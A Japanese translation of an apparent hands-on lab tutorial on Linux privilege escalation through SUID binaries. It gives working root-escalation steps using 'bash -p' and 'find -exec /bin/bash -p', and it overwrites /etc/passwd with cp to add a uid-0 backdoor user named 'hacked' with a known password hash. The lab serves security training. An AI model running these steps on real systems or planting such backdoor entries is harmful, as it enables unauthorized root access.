Linux における SUID バイナリの権限昇格エクスプロイト

NmapNmapBeginner
今すぐ練習

💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください

はじめに

この実験では、SUID(実行時にユーザー ID を設定する)パーミッションについて学び、Linux システムでこれを利用して特権昇格を行う方法を学びます。目的は、bashfindcpmv コマンドなどのさまざまな手法を使って SUID バイナリを悪用し、root アクセスを取得することです。


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/save_output("Save Output to File") subgraph Lab Skills nmap/save_output -.-> lab-416147{{"Linux における SUID バイナリの権限昇格エクスプロイト"}} end

SUID の理解

このステップでは、SUID パーミッションの概念とその影響について理解します。

通常、Linux でプログラムを実行すると、それは現在のユーザーの権限で実行されます。ただし、cp のような一部のプログラムは、制限されたディレクトリにファイルをコピーするなど、特定の操作を実行するために昇格された権限が必要です。通常のユーザーがこのようなプログラムを昇格された権限で実行できるようにするために、実行可能ファイルに SUID パーミッションを設定することができます。

SUID は「実行時にユーザー ID を設定する(Set user ID upon execution)」の略です。ファイルに SUID パーミッションが設定されている場合、それは実行するユーザーに関係なく、所有者の権限で実行されます。たとえば、cp コマンドは root ユーザーが所有しており、SUID ビットが設定されているため、どのユーザーでも root 権限で実行できます。

cp コマンドの SUID パーミッションを確認し、出力をファイルに保存するには、次のコマンドを実行します。

ls -l /usr/bin/cp > /home/labex/project/suid_cp.txt

次のコマンドを使用して、suid_cp.txt ファイルの内容を表示します。

cat /home/labex/project/suid_cp.txt

期待される出力:

-rwsr-xr-x 1 root root 141832 Feb  8  2024 /usr/bin/cp

パーミッションビットに s が表示され、SUID パーミッションが設定されていることを示しています。

SUID は通常のユーザーが特定の特権コマンドを実行できるようにするために便利ですが、SUID バイナリがシステムコマンドの実行やファイルの変更機能を提供する場合、悪用される可能性もあります。

bash を使った SUID の悪用

このステップでは、SUID パーミッションが設定された bash コマンドを利用して特権昇格を行う方法を学びます。

  1. まず、ターミナルを開き、/home/labex/project ディレクトリに移動します。

    cd /home/labex/project

    bash コマンドのパーミッションを確認します。

    ls -l /bin/bash

    期待される出力:

    -rwsr-xr-x 1 root root 1037520 Feb 5 2022 /bin/bash
  2. bash コマンドに SUID ビットが設定されている場合、次のコマンドを使用して root 権限でシステムコマンドを実行することができます。

    bash -p

    whoami を使用して、root シェルになっていることを確認できます。

    whoami

    期待される出力:

    root
  3. これで、/root ディレクトリに root.txt という名前のファイルを作成し、その内容を確認することができます。

    touch /root/root.txt

    /root ディレクトリに root.txt ファイルが表示されるはずです。

find を使った SUID の悪用

このステップでは、SUID パーミッションが設定された find コマンドを利用して特権昇格を行う方法を学びます。

前のステップで root シェルを取得しているはずです。このステップでは、exit コマンドを使用するか、新しいターミナルを開いて root シェルからログアウトし、labex ユーザーとして再度ログインする必要があります。

  1. まず、/home/labex/project ディレクトリに移動します。

    cd /home/labex/project

    find コマンドのパーミッションを確認します。

    ls -l /usr/bin/find

    find コマンドに SUID ビットが設定されている場合、これを利用して root 権限でシステムコマンドを実行することができます。

  2. find でコマンドを実行する構文は次の通りです。

    find < file > -exec < command > \;

    ここで、<file> は任意のファイルです。test という名前のファイルを作成しましょう。

    touch test
  3. これで、find を使用してコマンドを実行することができます。

    find test -exec whoami \;

    これにより、whoami コマンドが root 権限で実行されます。ただし、この方法は sshsu のような対話型コマンドには不便です。

  4. より便利な root シェルを取得するには、/bin/bash コマンドを実行することができます。

    find test -exec /bin/bash -p \;

    注意:-p フラグは、実効ユーザー ID (EUID) を保持し、実際のユーザー ID (RUID) にリセットされないようにするために必要です。

  5. これで root シェルを取得しているはずです。/root ディレクトリに root.txt という名前のファイルを作成し、その内容を確認します。

    touch /root/root.txt

    /root ディレクトリに root.txt ファイルが表示されるはずです。

cp と mv を使った SUID の悪用

このステップでは、SUID パーミッションが設定された cpmv コマンドを利用して、/etc/passwd または /etc/shadow ファイルを変更することで特権昇格を行う方法を学びます。

前のステップで root シェルを取得しているはずです。このステップでは、exit コマンドを使用するか、新しいターミナルを開いて root シェルからログアウトし、labex ユーザーとして再度ログインする必要があります。

  1. まず、/home/labex/project ディレクトリに移動します。

    cd /home/labex/project

    cp コマンドのパーミッションを確認します。

    ls -l /bin/cp

    cp コマンドに SUID ビットが設定されている場合、悪用を進めることができます。

  2. /etc/passwd の内容をホームディレクトリ内のファイルにコピーします。

    cat /etc/passwd > /home/labex/project/passwd
  3. 次の詳細で新しいユーザーエントリを作成します。

  • ユーザー名:hacked

  • パスワード:pass123

    /home/labex/project/passwd ファイルの末尾に次の行を挿入します。

    echo 'hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /home/labex/project/passwd
  1. これで、SUID パーミッションが設定された cp コマンドを使用して、/etc/passwd ファイルを上書きします。

    cp /home/labex/project/passwd /etc/passwd
  2. ファイルを上書きした後、su コマンドを使用してパスワード pass123hacked ユーザーに切り替えることができます。

    su hacked

hacked ユーザーのユーザー ID (uid) は 0 なので、root 権限を持つことになります。

mv コマンドの悪用方法は cp と似ています。自分で試してみることができます。

SUID バイナリの検索

このステップでは、システム上で潜在的に特権昇格に利用できる SUID バイナリを検索する方法を学びます。

  1. 次のコマンドを使用して、SUID ビットが設定されたすべての実行可能ファイルをリストアップできます。

    find / -user root -perm -4000 -print 2> /dev/null
    find / -perm -u=s -type f 2> /dev/null
    find / -user root -perm -4000 -exec ls -ldb {} \;
  2. 以下の手順を実行するために、/home/labex/project ディレクトリに移動します。

    cd /home/labex/project
  3. システム上の SUID バイナリをリストアップするためにいずれかのコマンドを選択し、出力を分析します。

    find / -user root -perm -4000 -print 2> /dev/null > check_results.txt

    check_results.txt ファイルの内容を確認して、システム上の SUID バイナリのリストを表示します。

    cat check_results.txt

    ただし、出力には特権昇格に利用できない多くのファイルが含まれている可能性があり、手動での分析が必要です。

まとめ

この実験では、SUID パーミッションについて学び、bashfindcpmv などのさまざまな SUID バイナリを Linux システム上で特権昇格に利用する方法を学びました。これらのバイナリを悪用して root アクセスを取得する実践的な経験を積みました。これはサイバーセキュリティの分野において重要なスキルです。この実験では実践的なシナリオを提供し、技術を理解して効果的に適用するための手順を案内しました。